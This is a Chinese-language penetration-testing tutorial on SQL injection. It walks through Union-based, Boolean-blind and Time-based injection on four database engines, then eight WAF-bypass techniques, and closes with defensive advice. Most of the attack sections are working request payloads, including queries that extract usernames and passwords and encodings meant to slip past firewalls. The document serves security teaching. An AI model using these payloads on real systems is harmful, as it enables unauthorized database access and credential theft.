SQL注入(SQLi)作为OWASP Top 10中长期占据前列的漏洞类型，至今仍是Web应用面临的最严重威胁之一。尽管参数化查询和ORM框架已大幅降低了注入风险，但在实际渗透测试中，我们仍能在大量遗留系统和不规范的开发实践中发现可利用的注入点。本文将系统梳理三种核心注入技术，并深入探讨面对WAF防护时的绕过策略。
Union-Based注入
Union-Based注入是最直观的数据提取方式。其核心原理是利用SQL的UNION操作符将攻击者构造的查询结果拼接到原始查询的返回集中。前提条件是攻击者必须确定原始查询返回的列数，且数据类型需兼容。
-- 确定列数 (ORDER BY递增法) GET /search?id=1 ORDER BY 1-- - (正常) GET /search?id=1 ORDER BY 2-- - (正常) GET /search?id=1 ORDER BY 3-- - (正常) GET /search?id=1 ORDER BY 4-- - (报错 -> 列数为3) -- 确定回显位 GET /search?id=-1 UNION SELECT 1,2,3-- - -- 提取数据库版本和当前用户 GET /search?id=-1 UNION SELECT version(),user(),database()-- - -- 枚举表名 GET /search?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- - -- 提取敏感数据 GET /search?id=-1 UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users-- -
在实战中，Union注入的关键难点在于确定正确的列数和数据类型。当应用不直接回显错误信息时，可通过NULL值逐步替换来确定兼容的数据类型。此外，某些数据库(如Oracle)要求UNION SELECT必须指定FROM子句，需要使用dual表。
Boolean-Based盲注
当应用不直接回显查询结果但存在可观察的布尔差异(如页面内容变化、HTTP状态码差异)时，Boolean-Based盲注成为可行的数据提取方案。其本质是通过构造条件表达式，逐字符推断目标数据。
-- 判断数据库名长度 GET /user?id=1 AND length(database())=8-- - -- 逐字符提取数据库名 (二分法加速) GET /user?id=1 AND ascii(substr(database(),1,1))>96-- - (True) GET /user?id=1 AND ascii(substr(database(),1,1))>112-- - (False) GET /user?id=1 AND ascii(substr(database(),1,1))>104-- - (True) GET /user?id=1 AND ascii(substr(database(),1,1))>108-- - (False) GET /user?id=1 AND ascii(substr(database(),1,1))>106-- - (True) GET /user?id=1 AND ascii(substr(database(),1,1))=108-- - (True -> 'l') -- 使用位运算优化 (每个字符仅需7次请求) GET /user?id=1 AND (ascii(substr(database(),1,1))>>6)&1=1-- -
盲注的效率瓶颈在于需要大量请求才能提取完整数据。优化策略包括：使用二分法将每字符请求数从最多128次降至7次；利用位运算进一步减少请求；或通过DNS外带(OOB)一次性获取大量数据。
Time-Based盲注
当应用连布尔差异都不存在时(如所有输入都返回相同页面)，Time-Based盲注通过数据库的延时函数制造可观测的时间差异。这是最后的手段，效率最低但适用性最广。
-- MySQL
GET /api?id=1 AND IF(substr(database(),1,1)='s',SLEEP(5),0)-- -
-- PostgreSQL
GET /api?id=1; SELECT CASE WHEN
(substr(current_database(),1,1)='s')
THEN pg_sleep(5) ELSE pg_sleep(0) END-- -
-- MSSQL
GET /api?id=1; IF(substring(db_name(),1,1)='s')
WAITFOR DELAY '0:0:5'-- -
-- Oracle
GET /api?id=1 AND 1=(SELECT CASE WHEN
(substr(user,1,1)='S')
THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END FROM dual)-- -
WAF绕过策略
现代WAF(Web Application Firewall)通过规则匹配、语义分析和机器学习等手段检测SQL注入攻击。绕过WAF需要深入理解其检测逻辑的盲区。以下是经过实战验证的绕过技术：
-- 1. 大小写混合 (绕过简单正则)
uNiOn SeLeCt 1,2,3-- -
-- 2. 内联注释 (MySQL特有)
/*!50000UNION*/ /*!50000SELECT*/ 1,2,3-- -
-- 3. 双写绕过 (针对替换型WAF)
UNUNIONION SELSELECTECT 1,2,3-- -
-- 4. 编码绕过
%55%4e%49%4f%4e %53%45%4c%45%43%54 1,2,3-- -
-- 5. 空白符替换
UNION%0aSELECT%0a1,2,3-- -
UNION%09SELECT%091,2,3-- -
UNION/**/SELECT/**/1,2,3-- -
-- 6. 科学计数法绕过数字过滤
id=1e0UNION SELECT 1,2,3-- -
-- 7. JSON语法 (MySQL 5.7+)
id=1 AND JSON_EXTRACT('{"a":1}','$.a')=1 UNION SELECT 1,2,3-- -
-- 8. 参数污染 (HPP)
id=1&id=UNION&id=SELECT&id=1,2,3-- -
需要强调的是，WAF绕过不存在万能方案。每个WAF产品的规则集和检测引擎都有差异，有效的绕过往往需要针对特定WAF进行定制化Fuzz测试。建议使用SQLMap的tamper脚本框架进行自动化测试，同时结合手工分析WAF的响应模式来识别其检测边界。
防御建议
从防御视角出发，预防SQL注入的核心原则是将数据与代码严格分离。参数化查询(Prepared Statements)是最有效的防御手段，它确保用户输入永远不会被解释为SQL代码。ORM框架虽然提供了一定程度的保护，但开发者仍需警惕原生查询接口和动态拼接场景。输入验证应作为纵深防御的一环而非唯一依赖，WAF则提供额外的检测层但不应作为主要防线。
安全是一个持续的过程而非一次性的任务。定期进行代码审计、渗透测试和安全培训，建立完善的SDLC(安全开发生命周期)流程，才能从根本上降低SQL注入等漏洞的出现概率。对于安全研究人员而言，理解攻击技术是为了更好地构建防御——这也是本文的核心目的。